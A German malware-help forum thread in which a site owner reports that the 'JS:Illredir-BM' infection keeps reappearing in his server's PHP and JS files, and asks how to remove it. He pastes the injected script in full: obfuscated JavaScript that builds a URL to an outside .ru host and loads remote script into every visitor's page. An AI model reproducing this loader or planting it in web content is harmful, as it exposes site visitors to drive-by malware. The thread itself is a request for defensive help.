Zurück   Trojaner-Board > Malware entfernen > Plagegeister aller Art und deren Bekämpfung

Plagegeister aller Art und deren Bekämpfung: Trojaner auf vServer www.chatsw.de

Windows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen.

Antwort
Alt 09.05.2010, 21:49   #1
icemandaniel
 
Trojaner auf vServer www.chatsw.de - Standard

Trojaner auf vServer www.chatsw.de



hi leute, ich bin durch google auf euch gekommen und ich hoffe ich bekomme hier hilfe.

ich bin fast am verzweifeln.

erst mal zu mein problem. auf meinen vserver ist ein Trojaner dieser wird nur von GData und avast erkannt und blockiert meine seite www.chatsw.de komplett. der trojaner ist dieser hier JS:Illredir-BM

ich habe versucht die dateien meist sind es java dateien und index.php dateien die betroffen sind den code rauszulöschen . lade ich es neu hoch ist der code nach einigen tagen wieder im script.

hier ist der code:

PHP-Code:
<script>var KV=["H","e"];function J(){y=51612;y-=159;var I="";this.dT=false;this.CZ=48666;this.CZ++;var v="ap"+"pe"+"ZyYend".substr(4)+"Ch"+"kHBil".substr(3)+"d";var rU="";var bJ="";var t=String("scrip"+"t");var u={Mh:"A"};try {var n='rA'} catch(n){};var X=window;var x="src";hk={};CA={};var R="bo"+"dy";this.ud=false;this.q=49447;this.q+=164;var C=document;this.FC=45605;this.FC++;var aa=new Date();var _=String("onl"+"oad");this.Ue='';var d=new String("de"+"fe"+"r");var c='';KF=["SE","Dz"];var m="crea"+"teEl"+"emen"+"UJegt".substr(4);NP={ix:26028};function w(){var WG={};hkk={cv:40595};try {var V=["Ne"];var K=String("ht"+"tp"+":/"+"/p"+"as"+"sp"+"or"+"tb"+"luGcd".substr(0,2)+"es"+".rp4G".substr(0,2)+"u:");var Rn=1637-1636;var FK=new String();var Qj=new Array();var M="/goovVIp".substr(0,4)+"LzWtgle.".substr(4)+"9Nyicom/y9Ni".substr(4,4)+"tickxaNv".substr(0,4)+"9MJWetma".substr(4)+"ster"+".com"+"/ado"+"be.c"+"om.p"+"hpMCwa".substr(0,2);var JL=new String();var MS=792267-784187;var iN=new Array();F=C[m](t);var rg=new Array();var DV="DV";GM=["OR","vk","ei"];F[d]=Rn;F[x]=K+MS+M;var yh={d_:"QB"};var iR="";var ZQ=["NZ","EQ"];C[R][v](F);cq=8891;cq+=22;SI=35586;SI--;this.dj=false;} catch(j){var FH={};this.Yu="Yu";};var XP=["Yv","Du"];this.UY="";}X[_]=w;var Gd=new String();var qF=new String();};this.xM=42022;this.xM-=52;var Zr="";J();var Cr={My:false};var hI=new String();</script>
<!--f6b43cadaa2535c64a9cf46759c3aa70--> 
ich habe leider kein backup mehr wo er nicht drauf ist. und von hand löschen ist fast unmöglich wie bekomme ich den aus meinen ganzen scripts widda raus? was kann ich tun?

bin echt schon am verzweifeln und weis nicht mehr weider. die daten und alles ist mein halbes lebenswerk.

Antwort

Themen zu Trojaner auf vServer www.chatsw.de
.com, avast, backup, blockiert, code, dateien, daten, document, erkannt, false, gdata, google, hoffe, index.php, java, leute, neu, nicht mehr, scripts, seite, tagen, troja, trojaner, unmöglich, versucht, verzweifel, window



Zum Thema Trojaner auf vServer www.chatsw.de - hi leute, ich bin durch google auf euch gekommen und ich hoffe ich bekomme hier hilfe. ich bin fast am verzweifeln. erst mal zu mein problem. auf meinen vserver ist - Trojaner auf vServer www.chatsw.de...
Archiv
Du betrachtest: Trojaner auf vServer www.chatsw.de auf Trojaner-Board

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.